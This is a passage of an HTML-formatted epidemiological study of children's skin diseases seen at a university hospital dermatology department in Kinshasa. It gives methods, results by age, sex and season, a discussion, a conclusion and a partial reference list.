service during a period of 31 months; from June 1, 2009, to December 31, 2011.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>5.3. Study Population and Sample</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Of a total of 1994 patients received in the Dermatology Department of the CUK, 818 were children. This study includes informed children from 0 to 18 years old received and examined during the study period, and whose medical records contained variables relevant for the study. This was done with the informed consent of theolder children and/or that of the parents (or guardians) for the younger children. Patients over the age of 18 years, those who did not give their consent as well as those fitting in the required age interval, but with incomplete medical records (regarding the variables needed) were not included in the study.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>5.4. Variables Studied</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The variables studied were epidemiological (age, sex, month of the year and season at admission) and clinical (diagnoses). The age groups were categorised as follows: 0-2 years (infants), 3-5 years (preschool age), 6-12 years (school age) and 13-18 years (adolescence). The seasons considered were the dry (March, June, July and August) and the rainy (January, February, April, May, September, October, November and December) seasons [11]. The diagnosis was based on solely the clinic for most of the children.<br />\r\n<strong>5.5. Operational Definitions</strong><br />\r\nEtiological group: A group of dermatosis sharing the same family of pathogens (viruses, bacteria, fungi, parasites; or that have a common pathophysiological process.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>5.6. Technical Methods and Data Collection Instruments</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The information relevant to the study was collected from the registers and consultation forms, which were then recorded on our data collection forms developed for this purpose, containing all of our study variables. A compilation of these data was done at the end to identify, group and analyze all these variables of interest. All analyzes were performed using the SPSS (Statistical package for social sciences, Chicago) software for Windows version 21. Statistical data processing consisted of calculating the means, standard deviation, median and interquartile range for quantitative variables and proportions for qualitative variables. The Chi square test was applied to compare the proportions at the significance level p ?0.05.<br />\r\n<strong>5.7. Ethical Considerations</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Only records containing the informed consent of older children or parents (or guardians) for younger children were included in the study. The photos were taken at the time of the clinical examination, face veiled with respect for the confidentiality of the patient and his parents or guardians.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>6. Results</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>6.1. Epidemiological Data</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Our study population (818 children out of a total of 1994 patients) accounted for nearly 41% (40.89%); the female sex was predominant at 55.7% with a female/male sex ratio of 1.25. Their median age was 60 months (EIQ 60 - 65.9 months), with extremes ranging from 0 to 218 months. The 0-2-year agegroup was predominant (30.6%). The dermatosis of the child predominated in the dry season (54%), with peaks in February (12.3%), July (11.9%) and March (10.8%). The annual frequency of dermato-pediatric consultations ranged between 37 and 40 %. These data are presented with more details in Table I.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>6.2.&nbsp;Clinical Data</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">According to Table II, the distribution of etiological groups of dermatosis by sex showed that infectious (40.0%) and immuno-allergic (33.4%) dermatose were the most frequent with predominance in males (44.5%, p = 0.023) and female (36.4%, p = 0.048), respectively. Tumor dermatosis were more prevalent in female (5.7%, p = 0.038).The distribution of the etiological groups of dermatosis according to the age groups in Table III showed that adnexal dermatoses were mainly found in infants (13.6%) and adolescents(19.4%) in a statistically significant way (p = 0.001).The distribution of the etiological groups according to the seasons (Table IV) showed that the toxidermia were the most frequently encountered in the dry season in a statistically significant manner (p = 0.045).</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">In terms of frequencies as detailed in Table V, the distribution of the etiological groups of children&#39;s dermatoses showed that atopic dermatitis (33.3%) and prurigostrophulus (32.6%) were the most frequent in the group of immuno-allergic dermatoses ; impetigo (18.7%), tinea capitis (16.8%) and scabiosis (16.2%) in the infectious group; sudamina (56.8%) in adnexal; vitiligo (51.0%) in inflammatory; ichthyosis vulgaris (30.4%) in genodermatoses; maculopapular erythema (61.5%) in toxidermias; hypertrophic scars (42.9%) and infantile haemangiomas (40.0%) in tumors.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The distribution of dermatoses by etiological group versus age (Table IV)showed that most immuno-allergic dermatoses were observed at all ages. However, statistically significant values ??were noted for atopic dermatitis in school-age (50.0%, p = 0.001), prurigostrophulus between 0 and 5 years (32.0 - 48.3%, p = 0.005),urticaria in adolescence (42.1%, p &lt;0.001), diaper rash in W (22.3%, p = 0.001) and contact dermatitis (15.8%, p = 0.005), in infants and adolescents, respectively. For infectious dermatosis, impetigo (43.2%) and tinea capitis (33.7%) were respectively reported in the infant and the school-age group (p &lt;0.001), while pityriasis rosea of Gibert (21.5%) and common warts (16.9%) were more common in adolescents, p &lt;0.001. Sudamina and acne vulgaris were the most common adnexal dermatoses, respectively between 0 and 5 years (p &lt;0.001) and 13 to18 years (p = 0.002). The most common inflammatory dermatoses were vitiligo (0-2 years) and lichen planus (6-12 years), p &lt;0.05. Tumor dermatosis with hypertrophic scars and infantile haemangiomas were more frequent in the school-age group (80%) and in infants (72.2%), respectively, and in a statistically significant way (p&lt;0.05).</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">The most frequent diagnosis of the child&#39;s dermatoses according to the etiological approach are shown in Table VII, at the top of which predominated atopic dermatitis, prurigostrophulus and impetigo.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Of the 60 dermatoses diagnosed and seasonally aligned, Table VIII found higher frequencies for atopic dermatitis (13.1%) prurigostrophulus (8.8%), tinea capitis (8.1%) and scabiosis (6.6%). Overall, the occurrence of these dermatoses was not related to the season. However, impetigo (11.7%), sudamina (7.7%) and larva migrans (2.1%) were more observed in the rainy season, unlike hypertrophic scars (2.9%) which predominated in the dry season; on both sides, the difference was statistically significant (p &lt; 0.05).</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>7. Discussion</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>7.1.&nbsp;Epidemiological data</strong><br />\r\nThe aim of our study was to determine the incidence of Child Dermatosis (CD) in tertiary hospital according to the etiological approach, and in a complementary way to our previous study, which was based on the lesional diagnostic approach [4]. In this work, our frequency of CD was 40.89%, which is in line with several studies conducted in Yemen 45.1% [12], Iran 43.9% [13] and Egypt 40% [14], unlike the results of Fofana and al (31.51% [7], Mah&eacute; and al (32.9% [8], Traore and al (26.1%) [9] and Olusola and al 23.6% [15]. Females predominated, as opposed to some authors who found a predominance of males [7,15], and infants were more numerous (30.6%), followed by adolescents (26.3%).</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Our observation is in accordance with that of Semkenke and al in eastern Democratic Republic of Congo (DRC) [10], but diverges from that of Osolula et al.[15], Sardana et al.[17], Tamer et al.[18], Flavia et al.[19], Anand et al.[20] and Shibeshi et al. [21], who observed a predominance of school-age children. The female dominance may be a consequence of demographic realities. On the other hand, our high frequency of CD is probably may result from poor hygiene and socio-economically and sanitary precarious living conditions [22], which are the main characteristics of the people living in the confines of CUK. The high frequency of CD may also be due to the fact that the CUK is the only medical facility in the tertiary level.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The dry season confined the CDs (54%), with high peaks during the months of February (12.3%), July (11.9%) and March (10.8%). We agree with Emine and al, who reported a predominance of CDs in winter [16], but diverge from El Khateeb and al [22] and Kamkimel et al.[23] who find recurrence of these CDs in summer. In our environment, the dry season is characterized by a dry and cold climate, a condition which does not always motivate the respect of hygiene rules, particularly the daily body bath, which favors xerosis of the skin. This abnormal condition of the skin is subject to pruritus and scratching, during which there may be skin rashes that may promote or maintain skin infections.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>7.2.&nbsp;</strong><strong>Clinical Data</strong><br />\r\nIn our study, infectious (40%) and immuno-allergic (33.4%) dermatoses were predominantly statistically significant (p &lt;0.05, Table II). Comparable results have been reported by several authors for infectious dermatoses [7,15,20,22-27]. Casanova et al found a predominance of tumor dermatoses [28], unlike immuno-allergic dermatoses, which was observed in eastern DRC [10] and Brazil respectively [19]. For our study, the high frequency of infectious dermatoses, considered as dermatoses of the poor economy [29], could be explained by the promiscuity in which our general population lives, the deficient hygiene, the lack of environmental sanitation, ignorance of the first managers of these children and malnutrition [7,15]. The majority of girls, however, had immuno-allergic dermatoses (36%, p = 0.048), with atopic dermatitis being the most representative (33.3%) in both seasons with no statistically significant difference (Tables IV-V). We are in line with Malian [7], Nigerian [15], Brazilian [19], Indian [20], Russian [30], and Congolese [10] authors for atopic dermatitis as the leading dermatoses of immunoallergic dermatoses, unlike El Khateeb and al [22], Kramkimel and al [23] and Casanova and al [28] who reported respectively a high frequency of contact eczema, urticaria and nonspecific eczema.The high incidence of atopic dermatitis in our study is the result of progressive urbanization and pollution of major cities such as Kinshasa, dry xerosis in the dry period and / or hyperhydration of the skin in the rainy season<strong>.</strong> This high frequency could also be linked to the fact that most children admitted to a specialized consultation were first treated by non-dermatologists who gave them inappropriate or even irritating treatments for already weakened skin [31,32]. The literature in our possession is rather reveal a predominance of autoimmune dermatoses in the female sex [33]. Our finding can be traced to demographic statistics where girls outnumber boys [34].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The most frequently observed infectious dermatoses (Table VI), impetigo (43.2%), and tinea capitis (33.7%) were most common between 0-2 years and 6-12 years of age (p &lt;0.001). On the other hand, viral dermatoses such as pityriasis rosea of Gibert (21.5%) and common warts (16.9%) were more observed in adolescents (p &lt; 0.001). For impetigo, we agree with many authors [16,22,35], unlike Fofana and al. [10] who reported tinea capitis as the most common infectious dermatosis. The recurrence of impetigo in infants is due to infected sudamina, immaturity of the immune system [36] and conditions likely to favor infections as described above.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">With regard to tinea capitis during the school-age period, in addition to defective hygiene, interhuman contact, interchangeability of hats, combs and clippers during hair styling could justify this high frequency [16,36-39]. We are in the same vein as Seudjip and al [40] for the pityriasisrosea of Gibert. Efstratios and al [41] and Tamer and al [18] who found a prevalence of common warts respectively between 6-12 years for some, 3 - 5 years and 12 - 16 years for others. With the different age groups that are close, growth period and hyperactivity of children at this time of their lives, the high frequency of these diseases at these ages can find an explanation.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Tumor dermatoses (Table II) were confined to females (5.7%), with hypertrophic scars leading (42.9%), followed by infantile hemangioma (40%) (Table V), respectively in pre-school age (80%) and infants (Table VI), regardless of the season (Table IV). For Casanova and al. [28], tumor dermatoses were the most common (27.7%) with predominance of infantile hemangioma. The preponderance of hypertrophic scars, which are generally consistent with burns in our study, is a logical consequence of the use of traditional ovens often within the reach of children due to a lack of regular electricity supply in households.Adnexal dermatitis alone was statistically significant (p = 0.001) in infants (13.6%) and adolescents (19.4%), Table III, with 100% sudamina and 87.5% vulgar acne respectively. (table IV). We are in the same vein as Tamer et al.[18] for both dermatoses. The tropical climate, hot and humid in the rainy season in our sub region, the over dressing of children by mothers and high transpiration could corroborate the high frequency of sudamina between 0-2 years [4]. Acne vulgaris goes hand in hand with the hormonal outbreak at the age of puberty generally corresponding to adolescence [5].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">On the Seasonal angle (Table IV), toxidermia occurred at all times with high peaks in the dry season. This dry and cold period in Kinshasa is characterized by an upsurge of high and low respiratory diseases [42], often motivating self-medication based on sulfonamides and non stero&iuml;dal anti-inflammatory drugs, which are known to have side effects [43].Vitiligo was the most observed inflammatory dermatitis (51%), Table V, especially in infants (P &lt;0.001), Table VI. This contrasts with the results found by Fofana and al. [7] which highlighted a predominance of palmoplantar keratoderma as the first inflammatory dermatitis, as well as Olusola and al [15] for the age group (38% between 6-12 years). Parents&#39; fear of macules evolving from hypochromia to achromia on the skin of their children, usually peri-orificial in areas of microtrauma[44], uncovered or not, could justify the early seek of a specialized medical advice compared to adults who would have them on the genitals.<br />\r\nOur findings for atopic dermatitis and prurigostrophulus are in line with Malian and Beninese studies [7,45]. The high frequency of prurigostrophulus was found in Nigeria, 10.2% [15], unlike Indian values ??5.2% [46] and those of Tanzania 5.6% [27]. Our finding could be explained by insect bites on the exposed parts of the body, the wearing of non-covering clothing, the stagnation of water in the uncured gutters of our cities and promiscuity in addition to the hot and humid climate [7,15].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>8. Conclusion</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">The dermatoses of the child are frequent in our environment as evidenced by our results. The predominance of infectious and immuno-allergic dermatoses, which are controllable, should motivate new vocations in pediatric dermatology and the promotion of good living habits, a healthy life and a clean environment.</span></p>\r\n','<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Hayden GF (1985) Skin diseasesencountered in a pediatricclinic: a one-year prospective study. AMA Am J Dis Child 139: 36-38.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Kahn G (1989) The history of pediatricdermatologyIn:textbook of PediatricDermatology, Ruiz-Maldonado R, Parish LC, Beare JM, Eds. Grune&amp;Stratton, Philadephia, PA, USA.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"http://www.ijdvl.com/article.asp?issn=0378-6323;year=2000;volume=66;issue=5;spage=247;epage=248;aulast=Kuruvilla\">Kuruvilla M, Sridher KS, Kumar P, Rao G (2000) Pattern of skin disease in Bantwaltaliqua, Dakshina Kannada. Ind J DermVenLepr 66: 247-248.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Seudjip N L, Bunga M P, Longo-Mbenza B (2016) profil des groupes l&eacute;sionnels des dermatoses infantiles aux cliniques universitaires de Kinshasa, RD Congo. Journal of Innovation and Research in Health Sciences &amp; Biotechnology 1: 92 -98. </span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Wallach D (2003) Guide pratique de dermatologie, 2<sup>&egrave; </sup>&eacute;d., Mimi et Masson.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Pierard G, Caumes E, Francimont C, Estrada J (1993) Dermatologie tropicale, Bruxelles, Editions de l&rsquo;universit&eacute; de Bruxelles 605.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"http://www.panafrican-med-journal.com/content/article/25/238/full/\">Fofana Y, Traore B, Dicko A, Faye O, Berthe S, et al. (2016) Profil &eacute;pid&eacute;mio-clinique des dermatoses chez les enfants vus en consultation dermatologique dans le service de dermatologie du centre national d&rsquo;appui &agrave; la lutte contre la maladie &agrave; Bamako (Mali). Pan AfricanMedical Journal 25: 238.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/9762817\">Mah&eacute; A, Ciss&eacute; I, Faye O, Thiam HN, Niamba P (1998) Skin diseases in Bamako (Mali). International Journal of Dermatology37: 673-676.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Traor&eacute; A, Kou&eacute;ta F, Sanou I, Kam K, Dao L, et al. (1999) Les dermatoses courantes de l&rsquo;enfant dans un service de dermatologie en milieu tropical. Publications p&eacute;diatriques au Burkina Faso.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.sciencedirect.com/science/article/pii/S0151963818301960\">S.Semikenke, H.Ad&eacute;gbidi, J.Minani, G.Bisimwa (2018) Les dermatoses de l&rsquo;enfant en milieu hospitalier &agrave; Bukavu : aspects &eacute;pid&eacute;miologiques et cliniques. Annales de Dermatologie et de V&eacute;n&eacute;r&eacute;ologie 145 : 40.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Mulumba MP (1990) Le paludisme de l&rsquo;enfant &agrave; Kinshasa (Zaire) : Influence de saison, de l&rsquo;&acirc;ge, de l&rsquo;environnement et du standing familial. M&eacute;d. Trop 50: 53-54. </span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/15304181\">Mishri L (2004) Spectrum of skin diseases in Yemen (Hajjah and adjacent region) in International Journal of Dermatology 43: 580-581.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://onlinelibrary.wiley.com/doi/abs/10.1111/j.1365-4632.2004.02140.x\">Shahram B, Shahram Z, and Abdoul-Ali M (2005) Report: Skin disease patterns in Hormozigan, Iran MD. International Journal of Dermatology 44: 641-645.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"http://europepmc.org/abstract/MED/21699521\">&nbsp;El-Khateeb EA, Imam AA, Mohammed A (2011) Pattern of skin diseases in Cairo, Egypt. International Journal of Dermatology 50: 844-853.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"http://www.panafrican-med-journal.com/content/article/29/162/full/\">Ayanlowo O, Puddicombe O, Gold-Olufadi S (2018) Pattern of skin diseasesamongstchildrenattending a dermatologyclinic in Lagos, Nigeria. Pan AfricanMedical Journal 29:162.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.em-consulte.com/en/article/770675\" target=\"_blank\">Tounkara TM,<strong> </strong>M.M. Soumah , M. Keita , B. Dian&eacute; , M. Bangoura, et al<strong>. </strong>(2012) Profil &eacute;pid&eacute;miologique et clinique des dermatoses infectieuses chez les enfants au service de dermatologie de l&rsquo;h&ocirc;pital national Donka. Annales de Dermatologie et de V&eacute;n&eacute;r&eacute;ologie 139 :137- 138.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/19250398\" target=\"_blank\">Sardana K, Supriya M, Rashmi S, Vibhu M, Premanshu B et al. (2009) The spectrum of skin disease among Indianchildren. PediadricDermatology 26: 6 - 23.</a> </span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/18705828\" target=\"_blank\">Tamer E, Mustafa N, Ilhan, Muhterem P, Nurdan L, et al. (2008). Prevalence of skin diseases among pediatric patients in Turkey. Journal of Dermatology 35: 413 - 418.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/21738964\" target=\"_blank\">Flavia F, Luiz F, Camargo C. (2011) Prevalence of pediatric dermatoses in a universityhospital in southeastern Brazil. An Bras Dermato 86: 477 - 482.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/9830292\" target=\"_blank\">Anand I, Gupta S. (1998) A profile of skin disorders in children in Saurashtra. J Indian Med Assoc 96 : 245 - 246.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/11085661\" target=\"_blank\">Shibeshi, D. (2000) Pattern of Skin Disease at the Ethio-SwedishPediatricHospital, AddisAbeba, Ethiopia. PediatricDermatology 17: 357 - 359.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/20825532\">El-Khateeb EA (2011) The spectrum of paediatric dermatoses in a universityhospital in Cairo, Egypt. J EurAcadDermatolVenereol 25: 666-672.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/20456558\">Kramkimel N, Soussan V, Beauchet A, Duhamel A, Chevalier B, et al. (2010) High frequency, diversity and severity of skin diseases in a paediatric emergency department. J EurAcadDermatolVenereol 24: 1468-1475.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/15660888\">Ogunbiyi AO, Owoaje E, Ndahi A (2005) Prevalence of skin disorders in SchoolChildren in Ibadan, Nigeria. PediatrDermatol 22: 6-10.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/14651562\">Dogra S, Kumar B (2003) Epidemiology of skin diseases in schoolchildren:a study from northemIndia. PediarDermatol 20: 470-473.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC2856373/\">Sabyasachi B, Dwijendra N, Sukumar J, Mitra C (2010) Seasonal variation in pediatric dermatoses. Indian J Dermatol 55: 44-46.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://bmcdermatol.biomedcentral.com/articles/10.1186/s12895-015-0035-9\">Kiprono S, Muchunu J, Masenga J (2015) Skin diseases in pediatric patients attending a tertiarydermatologyhospital in NorthernTanzania: a cross-sectional study. BMC Dermatology 15: 16.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.sciencedirect.com/science/article/pii/S1578219008702105#!\">Casanova J, Sanmartin V, Soria X, Marti R, Font A, et al. (2008) Childwooddermatosis in dermatologyclinic of a general University hospital in Spain. Actas Dermosifiliogr 99: 111-118</a>.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Desai SC (1960) Ecological perspective of dermatologicalproblems in India. Indian J DermatolVenerol 82 :710.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/10354028\">Popescu R, Popescu C, Williams HC, Forsea D (1999) The prevalence of skin conditions in Romanianschoolchildren. Br J Dermatol 140: 891-896.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3052811/\">Emodi IJ, Ikefuna AN, Uchendu U (2010) Skin diseases among childrenattending the outpatientclinic of the University of Nigeria teachinghospital, Enug. AfrHealth Sci 10: 362 - 366. </a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/17958622\">Monroe A (2007) Poverty, health and development in dermatology. Int J Derm 46: 1-9</a>.&nbsp;&nbsp;&nbsp;&nbsp; </span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/29802242\">Wilhelmson A, Lantero R, Stubelius A, Fogelstrand P, Johansson I, et al. (2018) Testosterone is an endogenousregulator of BAFF and splenic B cell number. Nature Communications 9: 2067.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Annuaire statistique 2014. Minist&egrave;re du plan et r&eacute;volution de la modernit&eacute;, R&eacute;publique D&eacute;mocraphique du Congo. Juillet 2015</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/8510990\">Dagan R (1993) Impetigo in childwood:changingepidemiology and new treatments. Pediatr Ann 22: 235 - 240.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Nono LJS, Musumba VK, Paku SM, Mulenda FK, Mwindila JMT, et. al. (2018) Dermatose infectieuse chez les enfants fr&eacute;quentant un &eacute;tablissement de sant&eacute;&agrave; Kinshasa/R&eacute;publique D&eacute;mocratique du Congo Journal of Innovation and Research in Health Sciences &amp; Biotechnology 3: 639 -645.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.sciencedirect.com/science/article/pii/S0151963816301922\">Kouotou&nbsp; EA, Fokoua DCM, Kechia FA, Somo MR (2016)&nbsp; teigne du cuir chevelu : profil &eacute;pid&eacute;miologique en milieu scolaire camerounais. Ann DermatolV&eacute;n&eacute;r&eacute;ol143: 42.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/8560510\">Mah&eacute; A, Prual A, Konat&eacute; M, Bobin P (1995) Skin diseases of children in Mali: a public healthproblem. Trans Roy Soc Trop Med Hyg 89: 467-470.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://emedicine.medscape.com/article/1091351-overview#a5\">Handler M, Robert S (2016) Tineacapitis.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Joelle SNL, Paulo BM, Celeste AK (2017) Epid&eacute;miologie et clinique du pityriasis ros&eacute; de Gibert chez les enfants aux cliniques universitaires de kinshasa. Journal of Innovation and Research in Health Sciences &amp; Biotechnology 2: 376-380.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/28408849\">Vakirlis E, Thedosiou G, Apalla Z, Arabatzis M, Lazaridou E, et al. (2017) A retrospectiveepidemiological study of skin diseases among pediatric population attending a tertiarydermatologyreferral center in Northern Greece. Clinical, Cosmetic and InvestigationalDermatology 10: 99-104.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Maladies transmissibles, profil &eacute;pid&eacute;miologique. C&ocirc;te d&rsquo;Ivoire (2010).</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"http://allergo.lyon.inserm.fr/fiches_patientes/RDP_2015_7_967_Dossier_Hypers.pdf\">Nicolas J-F, Dubois et J-P, Vial T (2015) Hypersensibilit&eacute; aux m&eacute;dicaments. La Revue du Praticien 65: 967-989.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/12859615\">Gauthier Y, Cario Q, Taieb A (2003) A criticalappraisal of vitiligo etiologictheories. Is melanocyteloss a melanocytorrhagy? Pigment Cell Res16: 322-332. </a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.jle.com/en/revues/mst/e-docs/profil_des_dermatoses_immunoallergiques_chez_les_enfants_dans_le_service_de_dermatologie_du_cnhu_c_benin__303426/article.phtml\">Adegbidi H, Degbo&eacute; B, Saka B, Elegbed&eacute; A, Atadokped&eacute; F (2014) Profil des dermatoses immunoallergiques chez les enfants dans le service de dermatologie du CNHU-C (B&eacute;nin). M&eacute;decine et Sant&eacute; Tropicales 24: 446- 448.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"http://www.e-ijd.org/article.asp?issn=0019-5154;year=1995;volume=40;issue=1;spage=29;epage=31;aulast=Ghosh;type=0\">Ghosh SK, Saha DK, Roy AK 